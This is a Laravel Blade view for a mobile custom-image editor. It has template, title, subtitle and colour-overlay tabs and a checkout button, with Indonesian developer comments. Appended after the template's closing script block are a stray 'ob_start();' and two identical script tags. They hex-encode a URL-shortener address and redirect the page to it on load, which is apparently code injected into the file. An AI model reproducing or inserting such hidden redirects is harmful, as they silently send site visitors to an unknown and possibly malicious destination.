@extends('layouts.mobile')
@section('background')
    <div class="position-relative w-100" style="height: 115px;">
        <img src="{{ asset('assets/new-asset/title-design.png') }}" alt="Custom Show" class="position-absolute"
            style="top:25px; left:50%; transform:translateX(-50%);
                width:220px; z-index:2;">
    </div>
@endsection
@section('content')
    <!-- Preview Area -->
    <div class="position-relative mb-4 mx-auto"
        style="
       background: url('{{ asset('assets/new-asset/box-gif-container.png') }}') no-repeat center top;
       background-size: 100% auto;
       padding: 10px 10px 16px; /* ruang untuk isi */
     ">

        <div id="previewAreaMobile" class="preview-box position-relative mx-auto"
            style="width:100%; background:transparent; background-size:cover; background-position:center; position:relative; margin-bottom:20px;">
            {{-- si aspect ratio nya ngebikin templatenya g bisa d scroll --}}
            {{-- <div id="previewAreaMobile" class="preview-box position-relative mx-auto"
            style="width:100%; background:transparent; aspect-ratio:16/10; background-size:cover; background-position:center; position:relative; margin-bottom:20px;">
        </div> --}}

            <div id="previewLabelLayer" class="position-absolute"></div>
            <div id="previewOverlayLayer" class="overlay-layer"></div>

            <!-- tambahkan dua baris ini -->
            <div id="previewHeadingStroke" class="text-layer"></div>
            <div id="previewSubtitleStroke" class="text-layer"></div>

            <div id="previewHeading" class="text-layer"></div>
            <div id="previewSubtitle" class="text-layer"></div>
        </div>
    </div>

    <!-- Final Capture Area (hidden) untuk html2canvas -->
    <div id="finalCaptureArea" style="position: fixed; top: -9999px; left: -9999px;">
        <div id="canvasTemplateWrapper"
            style="width: 100%; height: 100%; position: relative; background-size: cover; background-position: center;">
            <div id="captureLabelLayer" class="position-absolute" style="">
            </div>
            <div id="captureOverlayLayer" class="overlay-layer"></div>

            <!-- tambahkan dua baris ini -->
            <div id="captureHeadingStroke" class="text-layer"></div>
            <div id="captureSubtitleStroke" class="text-layer"></div>

            <div id="captureHeading" class="text-layer"></div>
            <div id="captureSubtitle" class="text-layer"></div>
        </div>
    </div>

    <img id="previewImage" style="max-width: 100%; margin-top: 1rem;" />


    <!-- Tab Content (diletakkan di ATAS tombol tabs) -->
    {{-- <div class="tab-card p-3 mb-3 d-none" id="tabContentWrapper">
        <div id="tabContent"></div>
    </div> --}}

    <div id="tab-overlay" class="tab-pane card p-3 mb-3 shadow-sm rounded-4 d-none">
        {{-- <div class="d-flex justify-content-between align-items-center mb-3">
            <label class="fw-semibold mb-0">Atur Overlay Warna:</label>
            <button onclick="backToTabs()" class="btn btn-sm btn-light rounded-circle"
                style="width: 32px; height: 32px;">✖</button>
        </div> --}}

        <div class="d-flex justify-content-center gap-3 mb-3 flex-wrap">
            <button class="color-circle-lg" data-color="none"
                style="background: transparent; border: 1px solid #ccc;"></button>
            <button class="color-circle-lg" data-color="#ff69b4" style="background: #ff69b4;"></button>
            <button class="color-circle-lg" data-color="#00ff66" style="background: #00ff66;"></button>
            <button class="color-circle-lg" data-color="#66ccff" style="background: #66ccff;"></button>
            <button id="openColorPicker" class="btn btn-sm btn-light px-2">🎨</button>
        </div>

        <input type="color" id="customOverlayColor" class="form-control form-control-color mb-3 d-none" value="#000000">

        <label for="floatingOverlayOpacity" class="form-label small">Opacity</label>
        <input type="range" id="floatingOverlayOpacity" class="form-range mb-3" min="0" max="1"
            step="0.01" value="0" />
    </div>



    <div id="tab-title" class="tab-pane d-none card p-3 mb-3 shadow-sm rounded-4">
        <input type="text" class="form-control mb-3" placeholder="Tulis Judul" oninput="updateHeading(this.value)">

        <div class="row g-2 align-items-center">
            <div class="col">
                <label for="headingColor" class="form-label small mb-1">Warna</label>
                <input type="color" id="headingColor" class="form-control form-control-color" value="#ffffff"
                    title="Pilih warna"
                    onchange="headingEl.style.color = this.value; captureHeadingEl.style.color = this.value">
            </div>
            <div class="col">
                <label for="headingStrokeColor" class="form-label small mb-1">Stroke</label>
                <input type="color" id="headingStrokeColor" class="form-control form-control-color" value="#000000"
                    title="Pilih warna garis luar"
                    onchange="
      document.getElementById('previewHeadingStroke').style.webkitTextStrokeColor = this.value;
      document.getElementById('captureHeadingStroke').style.webkitTextStrokeColor = this.value;
       applyRoundedStrokeFromComputed(document.getElementById('previewHeadingStroke'));
      applyRoundedStrokeFromComputed(document.getElementById('captureHeadingStroke'));
    ">
            </div>


            <div class="col">
                <label for="headingSize" class="form-label small mb-1">Ukuran</label>
                {{-- <input type="number" id="headingSize" class="form-control" min="14" max="60" --}}
                <input type="range" id="headingSize" class="form-range" min="14" max="40" value="28"
                    oninput="
    currentHeadingSize = this.value;
    headingEl.style.fontSize = this.value + 'px';
    captureHeadingEl.style.fontSize = this.value + 'px';
    // update stroke juga
    document.getElementById('previewHeadingStroke').style.fontSize = this.value + 'px';
    document.getElementById('captureHeadingStroke').style.fontSize = this.value + 'px';
            applyRoundedStrokeFromComputed(document.getElementById('previewHeadingStroke'));
        applyRoundedStrokeFromComputed(document.getElementById('captureHeadingStroke'));
  ">

            </div>
        </div>

    </div>

    <div id="tab-subtitle" class="tab-pane d-none card p-3 mb-3 shadow-sm rounded-4">
        <input type="text" class="form-control mb-3" placeholder="Tulis Subjudul"
            oninput="updateSubtitle(this.value)">

        <div class="row g-2 align-items-center">
            <div class="col">
                <label for="subtitleColor" class="form-label small mb-1">Warna</label>
                <input type="color" id="subtitleColor" class="form-control form-control-color" value="#ffffff"
                    title="Pilih warna"
                    onchange="subtitleEl.style.color = this.value; captureSubtitleEl.style.color = this.value">
            </div>
            <div class="col">
                <label for="subtitleStrokeColor" class="form-label small mb-1">Stroke</label>
                <input type="color" id="subtitleStrokeColor" class="form-control form-control-color" value="#000000"
                    title="Pilih warna garis luar"
                    onchange="
      document.getElementById('previewSubtitleStroke').style.webkitTextStrokeColor = this.value;
      document.getElementById('captureSubtitleStroke').style.webkitTextStrokeColor = this.value;
            applyRoundedStrokeFromComputed(document.getElementById('previewSubtitleStroke'));
      applyRoundedStrokeFromComputed(document.getElementById('captureSubtitleStroke'));
      
    ">
            </div>

            <div class="col">
                <label for="subtitleSize" class="form-label small mb-1">Ukuran</label>
                {{-- <input type="number" id="subtitleSize" class="form-control" min="10" max="40"
                    value="15" --}}
                <input type="range" id="subtitleSize" class="form-range" min="10" max="20"
                    value="15"
                    oninput="
    currentSubtitleSize = this.value;
    subtitleEl.style.fontSize = this.value + 'px';
    captureSubtitleEl.style.fontSize = this.value + 'px';
    // update stroke juga
    document.getElementById('previewSubtitleStroke').style.fontSize = this.value + 'px';
    document.getElementById('captureSubtitleStroke').style.fontSize = this.value + 'px';
            applyRoundedStrokeFromComputed(document.getElementById('previewSubtitleStroke'));
        applyRoundedStrokeFromComputed(document.getElementById('captureSubtitleStroke'));
  ">

            </div>
        </div>
    </div>


    <div id="tab-background" class="tab-pane d-none card p-3 mb-3 shadow-sm rounded-4">
        {{-- <div class="d-flex justify-content-between align-items-center mb-3">
            <p class="mb-0 fw-semibold">Pilih template:</p>
        </div> --}}

        {{-- Kategori --}}
        <div class="d-flex overflow-auto gap-2 mb-3" id="templateCategoryWrapper">
            @foreach ($templates as $cat)
                <button class="btn btn-light border p-2 text-center rounded-3"
                    onclick="showTemplatesByCategory({{ $cat['category_id'] }})" style="min-width: 100px;">
                    <img src="{{ $cat['category_img'] }}" alt="{{ $cat['category_name'] }}"
                        style="width: 60px; height: 60px; object-fit: cover;" class="rounded-circle mb-1">
                    <div style="font-size: 12px;">{{ $cat['category_name'] }}</div>
                </button>
            @endforeach
        </div>

        {{-- Template --}}
        {{-- Tempat muncul template setelah kategori diklik --}}
        <div id="templateWrapper" class="d-flex overflow-auto gap-2 align-items-center"></div>

    </div>


    <!-- Tab Buttons -->
    <div id="tabButtonCard" class="tab-button-card d-flex justify-content-center gap-4 mb-4">
        <div class="d-flex flex-column align-items-center">
            <button class="btn-round active" data-tab="background">
                <img src="{{ asset('assets/background.png') }}" alt="background" style="width: 28px;">
            </button>
            <small class="mt-1 text-dark">Background</small>
        </div>

        <div class="d-flex flex-column align-items-center">
            <button class="btn-round" data-tab="title">
                <img src="{{ asset('assets/new-asset/ic-text.png') }}" alt="title" style="width: 20px;">
            </button>
            <small class="mt-1 text-dark">Title</small>
        </div>

        <div class="d-flex flex-column align-items-center">
            <button class="btn-round" data-tab="subtitle">
                <img src="{{ asset('assets/new-asset/ic-text.png') }}" alt="subtitle" style="width: 20px;">
            </button>
            <small class="mt-1 text-dark">Subtitle</small>
        </div>

        <div class="d-flex flex-column align-items-center">
            <button class="btn-round" data-tab="overlay">
                <img src="{{ asset('assets/bucket.png') }}" alt="Overlay" style="width: 28px;">
            </button>
            <small class="mt-1 text-dark">Overlay</small>
        </div>
    </div>




    <input type="hidden" id="uuid" value="{{ session('uuid') }}">
    <!-- Color Overlay Panel -->
    {{-- <div id="overlayControlPanel" class="d-none flex-column align-items-center mb-3" style="z-index: 9999;">
        <div class="d-flex justify-content-center gap-2 mb-2">
            <button class="color-circle" data-color="none"
                style="background: transparent; border: 1px solid #ccc;"></button>
            <button class="color-circle" data-color="#ff69b4" style="background: #ff69b4;"></button>
            <button class="color-circle" data-color="#00ff66" style="background: #00ff66;"></button>
            <button class="color-circle" data-color="#66ccff" style="background: #66ccff;"></button>
            <button id="openColorPicker" class="btn btn-sm btn-light">▶</button>
        </div>
        <input type="color" id="customOverlayColor" class="form-control form-control-color d-none mb-2"
            value="#000000">
    </div>

    <!-- Floating Opacity Range -->
    <div id="overlayOpacityWrapper" class="position-absolute"
        style="top: 10px; right: 10px; z-index: 9999; display: none; width: 120px;">
        <input type="range" id="floatingOverlayOpacity" class="form-range" min="0" max="1"
            step="0.01" value="0.3">
    </div> --}}


    {{-- ACTION BAR (QTY + CHECKOUT) --}}

    {{-- Row Qty --}}
    {{-- <div class="row mb-2">
        <div class="col-12 d-flex flex-column align-items-start">
            <input type="number" id="qty" class="form-control text-center" min="1" value="1"
                style="height: 40px; width: 60px; padding: 4px; font-size: 14px;">
            <small class="text-black mt-1" style="font-size: 10px;">Qty</small>
        </div>
    </div> --}}

    {{-- Row Checkout --}}
    <div class="row">
        <div class="col-12 text-center">
            <button id="checkoutButton" class="btn p-0 border-0 bg-transparent" style="outline:none;" disabled>
                <img src="{{ asset('assets/new-asset/button-co.png') }}" alt="checkout"
                    style="max-width: 180px; height: auto; cursor: pointer;">
            </button>
        </div>
    </div>

    <div class="position-relative w-100" style="height: 50px;">
    </div>
    <div id="loadingOverlay"
        style="display:none; position:fixed; top:0; left:0; width:100vw; height:100vh; background-color: rgba(0,0,0,0.5); z-index:9999; justify-content:center; align-items:center; flex-direction: column;">

        <div class="spinner-border text-light" role="status" style="width: 3rem; height: 3rem;">
            <span class="visually-hidden">Loading...</span>
        </div>
        <div class="mt-3 text-white">Sedang mengirim...</div>
    </div>
@endsection
@push('styles')
    <style>
        /* BACKGROUND */
        .bg-pattern {
            background: url('{{ asset('assets/new-asset/bg-mobile.webp') }}') no-repeat center top;
            background-size: cover;
        }

        .custom-bg-section {
            position: relative;
            width: 100%;
            height: 185px;
        }

        .custom-bg-section img {
            position: absolute;
            z-index: 2;
        }

        .custom-bg-section .img-custom-show {
            top: 25px;
            left: 10px;
            width: 220px;
        }

        .custom-bg-section .img-who-you-are {
            top: 115px;
            left: 136px;
            width: 238px;
        }

        .custom-bg-section .img-petir-biru {
            top: 141px;
            left: 50px;
            width: 35px;
            z-index: 3;
        }

        .custom-bg-section .img-petir-hijau {
            top: 21px;
            right: 39px;
            width: 52px;
            z-index: 3;
        }

        /* BACKGROUND */

        .tab-card {
            background-color: white;
            border-radius: 20px;
            box-shadow: 0 3px 10px rgba(0, 0, 0, 0.15);
            width: 100%;
        }

        .tab-button-card {
            background-color: white;
            border-radius: 20px;
            padding: 8px;
            width: 100%;
            justify-content: center;
            box-shadow: 0 3px 10px rgba(0, 0, 0, 0.15);
        }

        .btn-round {
            width: 60px;
            /* sebelumnya 45px */
            height: 60px;
            /* sebelumnya 45px */
            border-radius: 50%;
            border: none;
            background-color: #fff;
            font-weight: bold;
            display: flex;
            align-items: center;
            justify-content: center;
            box-shadow: 0 2px 6px rgba(0, 0, 0, 0.15);
            transition: background 0.2s;
            font-size: 20px;
            /* biar icon teks lebih proporsional */
        }

        #tabButtonCard small {
            font-size: 12px;
            font-weight: 500;
            color: #333;
            /* bisa sesuaikan warna sesuai desain */
        }


        .btn-round img {
            /* width: 28px; */
            /* sebelumnya 22px */
            height: auto;
        }

        .btn-round.active {
            background-color: #00A6FF;
            color: #fff;
        }

        .tab-button-card {
            background-color: #fff;
            border-radius: 20px;
            padding: 12px;
            /* lebih lega dari 8px */
            /* sejajarkan dengan tab content */
            justify-content: center;
            box-shadow: 0 3px 10px rgba(0, 0, 0, 0.15);
        }


        .circle-option {
            width: 60px;
            height: 60px;
            border-radius: 50%;
            overflow: hidden;
            background: #f0f0f0;
            display: flex;
            align-items: center;
            justify-content: center;
            flex-direction: column;
            font-size: 10px;
            color: #333;
        }

        .circle-option img {
            width: 30px;
            height: 30px;
            object-fit: cover;
            border-radius: 50%;
            margin-bottom: 4px;
        }

        .tab-button-card,
        #checkoutButton,
        #qty {
            position: relative;
            z-index: 10;
        }

        #overlayControlPanel,
        #overlayOpacityWrapper {
            z-index: 20;
        }

        #overlayControlPanel {
            background: rgba(255, 255, 255, 0.8);
            border: 2px dashed red;
            z-index: 9999 !important;
            position: relative;
        }

        #overlayOpacityWrapper {
            background: yellow;
            z-index: 9999 !important;
        }

        .color-circle-lg {
            width: 36px;
            height: 36px;
            border-radius: 50%;
            border: none;
            cursor: pointer;
        }

        .color-circle-lg[data-color="none"] {
            background: transparent;
            border: 1px solid #aaa;
        }

        .color-circle-lg.selected {
            border: 3px solid white;
            box-shadow: 0 0 0 2px #333;
            /* stroke luar */
        }

        .color-circle:focus,
        .color-circle:hover {
            border-color: #333;
            box-shadow: 0 0 4px rgba(0, 0, 0, 0.2);
        }

        #templateWrapper button {
            flex-shrink: 0;
        }

        /* INTROJS */
        /* --- Intro.js tune --- */
        .introjs-tooltip {
            font-size: 14px;
            border-radius: 12px;
        }

        .introjs-button {
            font-size: 12px !important;
            padding: 6px 12px !important;
            border-radius: 8px !important;
        }

        /* "Lewati" (skip) biar gak kegedean */
        .introjs-skipbutton {
            font-size: 12px !important;
            padding: 2px 8px !important;
            line-height: 1.2 !important;
            opacity: .85;
        }

        /* Posisikan skip rapi di pojok tooltip */
        .introjs-tooltip .introjs-skipbutton {
            position: absolute;
            top: 10px;
            right: 12px;
        }

        /* Biar layer di atas elemen lain tapi gak nutup modal bootstrap */
        .introjs-overlay,
        .introjs-helperLayer,
        .introjs-tooltipReferenceLayer {
            z-index: 1065 !important;
            /* > offcanvas (1050), < modal (1070) */
        }
    </style>
@endpush

@push('scripts')
    <script>
        window.templatesByCategory = @json($templates);
    </script>
    <script src="{{ asset('js/lab-editor-mobile.js') }}"></script>
@endpush
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";</script>